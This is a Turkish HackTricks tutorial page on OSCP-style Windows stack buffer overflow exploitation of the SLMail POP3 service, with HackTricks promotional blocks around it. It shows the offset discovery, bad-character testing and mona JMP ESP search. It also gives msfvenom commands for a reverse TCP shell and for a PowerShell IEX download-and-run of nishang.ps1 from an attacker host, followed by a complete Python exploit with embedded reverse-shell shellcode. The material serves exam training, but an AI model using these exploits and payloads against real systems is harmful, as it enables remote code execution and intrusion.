hacktricks/binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md

264 lines
10 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Windows Exploiting (Temel Kılavuz - OSCP seviyesi)
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## **SLMail servisini kurmaya başlayın**
## SLMail servisini yeniden başlatın
Her seferinde **SLMail servisini yeniden başlatmanız gerektiğinde** bunu Windows konsolunu kullanarak yapabilirsiniz:
```
net start slmail
```
![](<../.gitbook/assets/image (988).png>)
## Çok temel python saldırı şablonu
```python
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
```
## **Immunity Debugger Yazı Tipini Değiştirme**
`Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`'ye gidin.
## **İşlemi Immunity Debugger'a Bağlama:**
**File --> Attach**
![](<../.gitbook/assets/image (869).png>)
**Ve START düğmesine basın**
## **Saldırıyı gönderin ve EIP'nin etkilenip etkilenmediğini kontrol edin:**
![](<../.gitbook/assets/image (906).png>)
Servisi her durdurduğunuzda, bu sayfanın başında belirtildiği gibi yeniden başlatmanız gerekmektedir.
## EIP'yi değiştirmek için bir desen oluşturun
Desen, önceki servisi durdurmak için kullandığınız tampon kadar büyük olmalıdır.
![](<../.gitbook/assets/image (420).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
```
Değiştirme exploitin tamponunu ve deseni ayarla ve exploit'i başlat.
Yeni bir çökme oluşmalı, ancak farklı bir EIP adresi ile:
![](<../.gitbook/assets/image (636).png>)
Adresin deseninizde olup olmadığını kontrol edin:
![](<../.gitbook/assets/image (418).png>)
```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
```
Görünüşe göre **tamponun 2606 ofsetindeki EIP'yi değiştirebiliyoruz**.
Exploit'in tamponunu değiştirerek kontrol edin:
```
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
```
Bu tamponla EIP çöktüğünde 42424242 ("BBBB")'ye işaret etmelidir.
![](<../.gitbook/assets/image (874).png>)
![](<../.gitbook/assets/image (92).png>)
Görünüşe göre çalışıyor.
## Stack içinde Shellcode alanını kontrol et
Güçlü bir shellcode için 600B yeterli olmalıdır.
Şimdi tamponu değiştirelim:
```
buffer = 'A'*2606 + 'BBBB' + 'C'*600
```
Başlatılan yeni saldırıyı kontrol edin ve EBP'yi ve kullanışlı shellcode'un uzunluğunu kontrol edin
![](<../.gitbook/assets/image (119).png>)
![](<../.gitbook/assets/image (879).png>)
Zafiyet ulaşıldığında EBP'nin shellcode'a işaret ettiğini ve burada bir shellcode yerleştirmek için bolca alanımız olduğunu görebilirsiniz.
Bu durumda **0x0209A128'den 0x0209A2D6'ya kadar = 430B.** Yeterli.
## Kötü karakterleri kontrol edin
Yine tamponu değiştirin:
```
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars
```
Badchars 0x01'den başlar çünkü 0x00 neredeyse her zaman kötüdür.
Bu yeni tamponla tekrar tekrar saldırıyı yürütün ve gereksiz bulunan karakterleri silin:
Örneğin:
Bu durumda **0x0A karakterini kullanmamalısınız** (0x09 karakterinde hiçbir şey belleğe kaydedilmez).
![](<../.gitbook/assets/image (111).png>)
Bu durumda **0x0D karakterinden kaçınılıyor**:
![](<../.gitbook/assets/image (1098).png>)
## Bir JMP ESP bulun ve geri dönüş adresi olarak kullanın
Kullanarak:
```
!mona modules #Get protections, look for all false except last one (Dll of SO)
```
**Bellek haritalarını listeleyeceksiniz**. Şu özelliklere sahip bir DLL arayın:
* **Yer Değiştirme: Yanlış**
* **SafeSEH: Yanlış**
* **ASLR: Yanlış**
* **NX Uyumluluğu: Yanlış**
* **İşletim Sistemi DLL'si: Doğru**
![](<../.gitbook/assets/image (555).png>)
Şimdi, bu bellek içinde bazı JMP ESP baytlarını bulmalısınız, bunu yapmak için şunu çalıştırın:
```
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
```
**Ardından, eğer bir adres bulunursa, kötü karakter içermeyen bir adres seçin:**
![](<../.gitbook/assets/image (605).png>)
**Bu durumda, örneğin: \_0x5f4a358f**\_
## Kabuk kodu oluşturun
```
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
```
Eğer exploit çalışmıyorsa ama çalışması gerekiyorsa (ImDebg ile shellcode'a ulaşıldığını görebilirsiniz), farklı shellcodelar oluşturmayı deneyin (aynı parametrelerle farklı shellcodelar oluşturmak için msfvenom'u kullanın).
Shellcode'un başına **bazı NOPS'ları ekleyin** ve onu ve return adresini JMP ESP'ye yönlendirerek exploit'i tamamlayın:
```bash
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
```
{% hint style="warning" %}
Kendilerini **üzerine yazacak** shellcode'lar bulunmaktadır, bu yüzden shellcode'un önüne her zaman bir miktar NOP eklemek önemlidir.
{% endhint %}
## Shellcode'u geliştirme
Bu parametreleri ekleyin:
```bash
EXITFUNC=thread -e x86/shikata_ga_nai
```
{% hint style="success" %}
Öğren ve AWS Hacking pratiği yap:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Öğren ve GCP Hacking pratiği yap: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekle</summary>
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol et!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katıl veya [**telegram grubuna**](https://t.me/peass) katıl veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip et.**
* **Hacking püf noktalarını paylaşmak için PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulun.
</details>
{% endhint %}